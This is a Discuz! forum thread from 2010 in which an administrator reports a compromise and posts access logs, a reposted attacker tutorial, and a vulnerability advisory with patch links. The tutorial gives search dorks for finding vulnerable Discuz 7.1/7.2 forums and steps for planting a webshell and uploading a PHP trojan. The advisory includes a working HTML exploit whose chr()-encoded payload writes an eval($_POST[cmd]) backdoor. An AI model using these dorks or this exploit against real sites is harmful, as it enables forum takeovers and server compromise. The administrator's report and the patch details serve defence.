Discuz!官方免费开源建站系统

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索

关于此前漏洞的利用方法。。。。

[复制链接]
ficest 发表于 2010-1-11 02:00:24 | 显示全部楼层 |阅读模式
今天进论坛后台 发现DZ 有严重漏洞补丁 提示更新。

更新完后,查了下可疑文件。

发现居然被人按上了木马程序。


然后。查看了下HTTP 的日志。
  1. 218.79.192.109 - - [07/Jan/2010:11:08:13 +0800] "GET /forumdata/cache/usergroup_01.php HTTP/1.1" 200 5 "-" "InetURL:/1.0"
  2. 218.79.192.109 - - [07/Jan/2010:11:08:13 +0800] "GET /forumdata/cache/usergroup_01.php HTTP/1.1" 200 5 "-" "InetURL:/1.0"
  3. 218.79.192.109 - - [07/Jan/2010:11:08:13 +0800] "GET /forumdata/cache/usergroup_01.phpttv.asp HTTP/1.1" 404 169 "-" "InetURL:/1.0"
  4. 218.79.192.109 - - [07/Jan/2010:11:08:13 +0800] "GET /forumdata/cache/usergroup_01.phpttv.asp HTTP/1.1" 404 169 "-" "InetURL:/1.0"
  5. 218.79.192.109 - - [07/Jan/2010:11:18:06 +0800] "GET /forumdata/cache/usergroup_01.php HTTP/1.1" 200 31 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQPinyinSetup 614; QQPinyin 686; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; 360SE)"
  6. 218.79.192.109 - - [07/Jan/2010:11:18:06 +0800] "GET /favicon.ico HTTP/1.1" 200 2238 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQPinyinSetup 614; QQPinyin 686; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; 360SE; 360SE)"
  7. 218.79.192.109 - - [07/Jan/2010:11:18:15 +0800] "POST /forumdata/cache/usergroup_01.php HTTP/1.1" 200 70 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQPinyinSetup 614; QQPinyin 686; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; 360SE)"
  8. 218.79.192.109 - - [07/Jan/2010:11:18:39 +0800] "POST /forumdata/cache/usergroup_01.php HTTP/1.1" 200 51 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQPinyinSetup 614; QQPinyin 686; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; 360SE)"
  9. 218.79.192.109 - - [07/Jan/2010:11:21:10 +0800] "GET /forumdata/cache/usergroup_01.php HTTP/1.1" 200 31 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQPinyinSetup 614; QQPinyin 686; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; 360SE)"
  10. 218.79.192.109 - - [07/Jan/2010:11:21:28 +0800] "POST /forumdata/cache/usergroup_01.php HTTP/1.1" 200 70 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQPinyinSetup 614; QQPinyin 686; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; 360SE)"
  11. 218.79.192.109 - - [07/Jan/2010:11:21:50 +0800] "POST /forumdata/cache/usergroup_01.php HTTP/1.1" 200 51 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQPinyinSetup 614; QQPinyin 686; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; 360SE)"
  12. 218.79.192.109 - - [07/Jan/2010:13:10:30 +0800] "GET /forumdata/cache/cong.php HTTP/1.1" 200 378 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQPinyinSetup 614; QQPinyin 686; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; 360SE)"
  13. 218.79.192.109 - - [07/Jan/2010:13:10:33 +0800] "POST /forumdata/cache/cong.php HTTP/1.1" 200 182 "http://meicun.js.cn/forumdata/cache/cong.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQPinyinSetup 614; QQPinyin 686; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; 360SE)"
  14. 218.79.192.109 - - [07/Jan/2010:13:10:37 +0800] "GET /forumdata/cache/cong.php HTTP/1.1" 200 14882 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQPinyinSetup 614; QQPinyin 686; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; 360SE)"
复制代码
看了下第一句。
GET /forumdata/cache/usergroup_01.php

相当肯定。漏洞出自这里。


然后百度了下。。。。
哇。。。这个漏洞相当恐怖。。。


2楼是 一些转帖利用教程。
 楼主| ficest 发表于 2010-1-11 02:01:26 | 显示全部楼层
作者:吥要敗給囘憶(C.E.T)
原创不容易,转载请注明出处,谢谢
文章没有什么技术含量、、老鸟飞过

DZ相关漏洞:http://www.hxhack.cn/bbs/read.php?tid-335860.html
                         http://www.hxhack.cn/bbs/read.php?tid-335845.html

关键字:"Powered by Discuz!" inurl:bbs/index.php
                 inurl:forumdisplay.php?fid=
<问hx小龙要的>
刚才根据上面的关键字构造了另外的关键字:               
                 "Powered by Discuz!7.1" inurl:com/bbs
                 "Powered by Discuz!7.2" inurl:com/bbs


这两种准确点
这几天DZ这个漏洞很疯狂啊、、很多论坛都被K了
主要是针对7.1和7.2的。这里我就给大家演示一次利用这个漏洞拿webshell。
我今天找了一天这种论坛、、我自己试了很多论坛,先说下我自己的经验吧!
我试了很多站只能拿这种类型的http://www.XXX.com/bbs
比如:http://www.XXX.com  
            http://bbs.XXX.com      
            http://www.XXX.com/bbs.php
            http://www.XXX.com/index.php
这些类型的 你把它输入成http://www.XXX.com/bbs这种格式访问不出错的话就能拿下了<打了补丁的除外了>——其它方法等你们发觉吧!另外补充一句要先注册那论坛的ID
下面是这两种格式转换后的截图


  



下面是修改dz.html,右键打开方式选择记事本进行编辑,如下图:


修改好以后保存,然后直接打开——点击提交



提交后返回的信息没有出错,如下图:


下面来访问我们的一句话,在网址后面加:/forumdata/cache/usergroup_01.php来确认我们的一句话是否植入成功
页面空白表示成功了。


下面打开我们的一句话客户端提交我们的后门地址:http://www.XXX.net/bbs/forumdata/cache/usergroup_01.php
  

下面就是传我们的大马了,注意了这里只能传php马。。
  

上传成功了,,下面就是来访问我们的大马了。嘿嘿。。
大马地址:http://www.XXX.net/bbs/forumdata/cache/admin_1.php


到这里利用DZ漏洞拿webshell就结束了、、这里我主要是演示给我一样的菜鸟们看,,
回复

使用道具 举报

 楼主| ficest 发表于 2010-1-11 02:12:20 | 显示全部楼层
Discuz! 7.1 & 7.2 showmessage函数远程代码执行漏洞
Discuz!是康盛创想(北京)科技有限公司(英文简称Comsenz)推出的一套中国大陆地区非常流行的通用的社区论坛软件系统。
影响版本:
Discuz! 7.1 & 7.2
漏洞描述:
产生漏洞的$scriptlang数组在安装插件后已经初始化
Discuz!新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。
下面是这个远程代码执行漏洞的分析,此漏洞极其严重,致使攻击者可直接写入Shell:
漏洞来自showmessage函数:
function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
     extract($GLOBALS, EXTR_SKIP);//危险的用法,未初始化的变量可以直接带进函数,直接导致了问题产生
     global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
     define('CACHE_FORBIDDEN', TRUE);
     $hookscriptmessage = $show_message = $message;$messagehandle = 0;
     $msgforward = unserialize($_DCACHE['settings']['msgforward']);
     $refreshtime = intval($msgforward['refreshtime']);
     $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
     $msgforward['refreshtime'] = $refreshtime * 1000;
     $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);
     $seccodecheck = $seccodestatus & 2;
     if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {
         $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';
         if($fp = @fopen($statlogfile, 'a')) {
             @flock($fp, 2);
             if(is_array($funcstatinfo)) {
                 $funcstatinfo = array_unique($funcstatinfo);
                 foreach($funcstatinfo as $funcinfo) {
                     fwrite($fp, funcstat_query($funcinfo, $message)."\n");
                 }
             } else {
                 fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");
             }
             fclose($fp);
             $funcstatinfo = $GLOBALS['funcstatinfo'] = '';
         }
     }

     if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {
         write_statlog($message);
     }

     if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {
         updatesession();
         dheader("location: ".str_replace('&amp;', '&', $url_forward));
     }
     if(!empty($infloat)) {
         if($extra) {
             $messagehandle = $extra;
         }
         $extra = '';
     }
     if(in_array($extra, array('HALTED', 'NOPERM'))) {
         $discuz_action = 254;
     } else {
         $discuz_action = 255;
     }

     include language('messages');

     $vars = explode(':', $message);//只要含:就可以了
     if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可,用:分割
         eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化,可以自定义
     } elseif(isset($language[$message])) {
         $pre = $inajax ? 'ajax_' : '';
         eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");
         unset($pre);
     }

     ......
}
DZ的全局机制导致了未初始化的参数可以任意提交:
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
     foreach($$_request as $_key => $_value) {
         $_key{0} != '_' && $$_key = daddslashes($_value);
     }
}
misc.php有个可以自定义message的点也是未初始化的
elseif($action == 'imme_binding' && $discuz_uid) {

     if(isemail($id)) {
         $msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");
         $msn = explode("\t", $msn);
         $id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));
         $msn = "$msn[0]\t$id";
         $db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");
         showmessage('msn_binding_succeed', 'memcp.php');
     } else {
         if($result == 'Declined') {
             dheader("Location: memcp.php");
         } else {
             showmessage($response['result']);//$response没有初始化,可以自定义
         }
     }
    }

测试方法:
[安天警告]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
showmessage函数里$vars = explode(':', $message);然后message可以自己控制,于是就很容易了,参数是两个自定义的数组。
下面是HTML测试代码:
<form method="post" action="http://bbs.XXXX.com/misc.php" enctype="multipart/form-data">
帖子ID,指定一个存在的帖子即可:<input type="text" name="tid" value="1" />
<input type="hidden" name="action" value="imme_binding" />
<input type="hidden" name="response[result]" value="1:2" />
<input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" />
<input type="submit" name="topicsubmit" value="提交" class="submit" />
</form>
forumdata/cache/usergroup_01.php cmd 生成的一句话
解决方案:
临时解决方法:
* 在common.inc.php上面加上:
$response=$scriptlang=array();

厂商补丁:
更新内容:
修复版本存在的重要安全问题
修复版本中存在的其他使用 bug
安全级别: 高
涉及版本:Discuz! 7.1 , Discuz! 7.2
修补方法:
1. 根据您的版本下载补丁包
7.1 用户 http://download2.comsenz.com/Discuz/patch/7.1/D710_UPGRADE_TO_20100110.zip
7.2 用户 http://download2.comsenz.com/Discuz/patch/7.2/D720_UPGRADE_TO_20100110.zip
2. 解压缩文件
3. 上传upload目录中的所有文件到您的论坛, 覆盖原有程序
4. 修复完成
注意事项:下目录中包含有相应版本的以往的补丁文件, 如果您尚未修复, 您应当按照补丁发布的时间, 依次覆盖修复
http://download2.comsenz.com/Discuz/patch/7.1/
http://download2.comsenz.com/Discuz/patch/7.2/
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2024-5-17 11:30 , Processed in 0.137661 second(s), 16 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表